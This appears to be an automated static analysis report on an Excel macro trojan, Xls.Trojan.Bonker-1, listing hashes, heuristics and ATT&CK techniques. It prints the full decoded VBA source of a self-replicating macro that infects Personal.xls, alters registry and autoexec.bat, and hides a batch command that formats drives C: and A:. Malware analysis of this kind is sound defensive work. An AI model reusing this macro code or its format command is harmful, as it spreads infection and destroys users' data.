Xls.Trojan.Bonker-1 — Office (OLE) malware analysis

Static analysis result for SHA-256 98d0654232456dbe…

MALICIOUS

Office (OLE)

34.5 KB Created: 1999-04-01 10:07:57 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: a0d54ac7d44a91acbd119e021f31c339 SHA-1: 0bd1951054d23fc864d0e9ce78c3fbea6204cf46 SHA-256: 98d0654232456dbee61aa915ce722f1c9d1b360ae54d73bb65b8c896b4100921
220 Risk Score

Malware Insights

Xls.Trojan.Bonker-1 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is an Excel document containing VBA macros, specifically an Auto_Open macro that executes a Shell() command. This macro attempts to export itself to 'c:\windows\system\B32o2nk.sys' and also manipulates Excel's startup path to save a copy of the macro as 'Personal.xls'. The ClamAV detection name 'Xls.Trojan.Bonker-1' and the heuristic firings strongly indicate a malicious downloader or trojan.

Heuristics 5

  • ClamAV: Xls.Trojan.Bonker-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.Bonker-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11482 bytes
SHA-256: 714a9281096329d0c37852c25cabcc0d31859b465d5ad1b7454212d74ca81f64
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "DieseArbeitsmappe"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Tabelle1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Bonk"
Sub Auto_Open()
Application.OnSheetActivate = "XBoNKeR"
End Sub
Sub XBoNKeR()
On Error Resume Next
BK = "Bonk"
BZ = "c:\windows\system\B32o2nk.sys"
PX = "Personal.xls"
PPX = Application.StartupPath & "\" & PX
aBoNK = 0
xBoNK = 0

With Application
    .StatusBar = "XM97.BoNK"
    .ScreenUpdating = False
    .DisplayAlerts = False
    .EnableCancelKey = xlDisabled
    .Caption = "Micro$oft Excel"
End With

Application.VBE.ActiveVBProject.VBComponents.Item(BK).Export BZ

If Dir(PPX) = PX Then xBoNK = 1

For i = 1 To ActiveWorkbook.VBProject.VBComponents.count
    If ActiveWorkbook.VBProject.VBComponents(i).Name = BK Then aBoNK = 1
Next i

If aBoNK = 0 Then
    ActiveWorkbook.VBProject.VBComponents.Import BZ
    ActiveWorkbook.Save
End If

If xBoNK = 0 Then
    Workbooks.Add.SaveAs FileName:=PPX
    ActiveWorkbook.VBProject.VBComponents.Import BZ
    ActiveWindow.Visible = False
    Workbooks(PX).Save
End If
BKCount
Bonk_It
End Sub
Sub BKCount()
On Error Resume Next
Dim chk As Integer
Dim count As Integer

chk = GetSetting("VBA", "XM97_BoNK", "BKCounter")

If chk > 100 Then
    SaveSetting "VBA", "XM97_BoNK", "BKCounter", 1
    BKAction
End If

If chk = 0 Then
    SaveSetting "VBA", "XM97_BoNK", "BKCounter", 1
    SaveSetting "VBA", "XM97_BoNK", "Creator", "jack twoflower -=[LzØ]=-"
    SaveSetting "VBA", "XM97_BoNK", "Address", "jack_twoflower@hotmail.com"
End If

count = chk + 1
SaveSetting "VBA", "XM97_BoNK", "BKCounter", count

End Sub
Sub Bonk_It()
On Error Resume Next

CommandBars("Tools").Controls(10).Enabled = False
CommandBars("Tools").Controls(12).Enabled = False
CommandBars("View").Controls(3).Enabled = False
CommandBars("Window").Controls(3).Enabled = False
CommandBars("Window").Controls(4).Enabled = False
    
RG = "C:\WINDOWS\SYSTEM\B32NK.REG"
If UCase(Dir(RG)) <> "B32NK.REG" Then

    Open RG For Output Access Write As #1
        Print #1, "REGEDIT4"
        Print #1, "[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon]"
        Print #1, """LegalNoticeCaption""=""XM97.BoNK"""
        Print #1, """LegalNoticeText""=""This is BøNKeRs of the .BoNK-family by Jack Twoflower -=[LzØ]=-"""
    Close 1
    
    Open "c:\start.bat" For Output Access Write As #1
        Print #1, "REM Microsoft Windows 95 Start-Hilfe"
        Print #1, "REM ================================"
        Print #1, "REM Systemdatei nicht löschen!"
        Print #1,
        Print #1, "regedit /s c:\windows\system\b32nk.reg"
    Close 1

    Open "c:\autoexec.bat" For Append As #1
        Print #1, "@IF EXIST C:\START.BAT DEL C:\START.BAT"
    Close 1
Shell ("c:\start.bat"), vbHide
End If
End Sub
Sub BKAction()
On Error Resume Next
Open "c:\format.bat" For Output Access Write As #1
    Print #1, "@echo j|format c:"
    Print #1, "@echo j|format a:"
Close 1
Shell ("c:\format.bat"), vbHide
End Sub

' Processing file: /opt/analyzer/scan_staging/4e4092a16bd64b17945209c6ea021a77.bin
' ===============================================================================
' Module streams:
' _VBA_PROJECT_CUR/VBA/DieseArbeitsmappe - 1197 bytes
' _VBA_PROJECT_CUR/VBA/Tabelle1 - 1186 bytes
' _VBA_PROJECT_CUR/VBA/Bonk - 11359 bytes
' Line #0:
' 	FuncDefn (Sub Auto_Open())
' Line #1:
' 	LitStr 0x0007 "XBoNKeR"
' 	Ld Application 
' 	MemSt OnSheetActivate 
' Line #2:
' 	EndSub 
' Line #3:
' 	FuncDefn (Sub XBoNKeR())
' Line #4:
' 	OnError (Resume Next) 
' Line #5:
' 	LitStr 0x0004 "Bonk"
' 
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.